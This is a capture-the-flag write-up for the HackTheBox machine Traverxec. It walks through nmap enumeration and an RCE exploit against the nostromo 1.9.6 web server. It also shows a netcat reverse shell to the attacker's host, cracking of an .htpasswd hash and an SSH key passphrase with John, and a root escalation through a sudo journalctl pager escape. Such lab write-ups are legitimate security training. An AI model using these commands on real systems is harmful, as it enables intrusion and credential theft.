Welcome to the Traverxec writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Traverxec

tags: HTB Easy Linux OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -Pn -T4 -p- 10.10.10.165
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 18:27 CEST
Nmap scan report for 10.10.10.165
Host is up (0.087s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 99.28 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80 10.10.10.165
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 18:29 CEST
Nmap scan report for 10.10.10.165
Host is up (0.087s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 5.1 (92%), Crestron XPanel control system (90%), Linux 3.18 (89%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   86.43 ms 10.10.14.1
2   86.46 ms 10.10.10.165

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds

The Nmap scanner shows us that an installation of nostromo 1.9.6 is running on port 80.
If we search the internet for vulnerabilities for this version of software we can easily find an exploit to obtain RCE. Link to exploit

Exploitation

Ok, let's test if the exploit works.

$ python rce.py 10.10.10.165 80 id

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    

HTTP/1.1 200 OK
Date: Wed, 21 Jul 2021 17:00:59 GMT
Server: nostromo 1.9.6
Connection: close

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Works! let's get a shell. We need to put a terminal to listen and launch a reverse shell.

$ python rce.py 10.10.10.165 80 "nc 10.10.14.29 8787 -e /bin/bash"

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.165] 35458
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post exploitation

Privilege escalation: www-data to david

Enumeration

Linpeas

[...]
[+] Environment
[i] Any private information inside environment variables?
GATEWAY_INTERFACE=CGI/1.1
HISTFILESIZE=0
SHLVL=2
REMOTE_ADDR=10.10.14.29
DOCUMENT_ROOT=/var/nostromo/htdocs
[...]
[...]
[+] Iptables rules
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -m tcp -m state --state NEW -m recent --set --name SSH --mask 255.255.255.255 --rsource 
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -m tcp -m state --state NEW -m recent --update --seconds 1 --hitcount 10 --name SSH --mask 255.255.255.255 --rsource -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 80 -m tcp -m state --state NEW -m recent --set --name HTTP --mask 255.255.255.255 --rsource 
-A INPUT -i eth0 -p tcp -m tcp --dport 80 -m tcp -m state --state NEW -m recent --update --seconds 1 --hitcount 40 --name HTTP --mask 255.255.255.255 --rsource -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i eth0 -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p icmp -j ACCEPT
COMMIT
[...]

As we can see, nostromo is installed in /var/nostromo/htdocs. Let's see its configuration files.

[email protected]:/var/nostromo/conf$ cat nhttpd.conf 
# MAIN [MANDATORY]

servername      traverxec.htb
serverlisten        *
serveradmin     [email protected]
serverroot      /var/nostromo
servermimes     conf/mimes
docroot         /var/nostromo/htdocs
docindex        index.html

# LOGS [OPTIONAL]

logpid          logs/nhttpd.pid

# SETUID [RECOMMENDED]

user            www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess        .htaccess
htpasswd        /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons          /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

Perfect, inside the /var/nostromo/conf/.htpasswd file we find the hash for the user david.

[email protected]:/var/nostromo/conf$ cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

We can crack the hash using John the ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:00:48 DONE (2021-07-21 19:10) 0.02076g/s 219697p/s 219697c/s 219697C/s NuiMeanPoon..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The password for david is Nowonly4me but it does not work neither by SSH nor by su.

Reading the nostromo documentation we can find references to the homedirs parameter of the nhttpd.conf file.

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

And it works! we can access to david's home using this url http://traverxec.htb/~david/

Knowing this and seeing that inside the homedirs directory there is a directory called public_www, let's see if we have access to it.

[email protected]:/var/nostromo/conf$ ls /home/david/public_www
index.html  protected-file-area
[email protected]:/var/nostromo/conf$ ls /home/david/public_www/protected-file-area/
backup-ssh-identity-files.tgz

We can access it and find a compressed file with SSH keys.

[email protected]:/home/david/public_www/protected-file-area$ cp backup-ssh-identity-files.tgz /tmp
[email protected]:/home/david/public_www/protected-file-area$ cd /tmp
[email protected]:/tmp$ tar zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
[email protected]:/tmp$

Ok, Let's connect via SSH using the id_rsa key obtained!.

$ ssh [email protected] -i david_traverxec
load pubkey "david_traverxec": invalid format
Enter passphrase for key 'david_traverxec':

It has passphrase and Nowonly4me doesn't work. Let's crack it.

$ ssh2john david_traverxec > hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (david_traverxec)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:03 DONE (2021-07-21 19:49) 0.3021g/s 4332Kp/s 4332Kc/s 4332KC/sa6_123..*7¡Vamos!
Session completed

And now yes! we are david using the hunter passphrase and we can read the user flag.

$ ssh [email protected] -i david_traverxec
load pubkey "david_traverxec": invalid format
Enter passphrase for key 'david_traverxec': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
[email protected]:~$ cat user.txt
CENSORED_FLAG

Privilege escalation: david to root

Enumeration

Linpeas

Inside the $PATH variable, the /home/david/bin path is assigned.

[+] PATH
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-path-abuses
/home/david/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
New path exported: /home/david/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/sbin:/usr/sbin:/sbin

And inside this path we can find the server-stats.sh script with this content.

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

As we can see the script is running journalctl as root using sudo.
Looking at the GTFOBins list, we can see that it allows us to escalate privileges.
To achieve this we need to make our terminal small

In this point:

We just have to write !/bin/bash and hit the intro key.

[email protected]:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Fri 2021-07-23 12:25:44 EDT, end at Fri 2021-07-23 13:24:01 EDT
Jul 23 12:25:46 traverxec systemd[1]: Starting nostromo nhttpd server...
Jul 23 12:25:46 traverxec systemd[1]: nostromo.service: Failed to parse PID from
Jul 23 12:25:46 traverxec nhttpd[422]: started
Jul 23 12:25:46 traverxec nhttpd[422]: max. file descriptors = 1040 (cur) / 1040
Jul 23 12:25:46 traverxec systemd[1]: Started nostromo nhttpd server.
!/bin/bash
[email protected]:/home/david/bin# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/david/bin# cat /root/root.txt
CENSORED_FLAG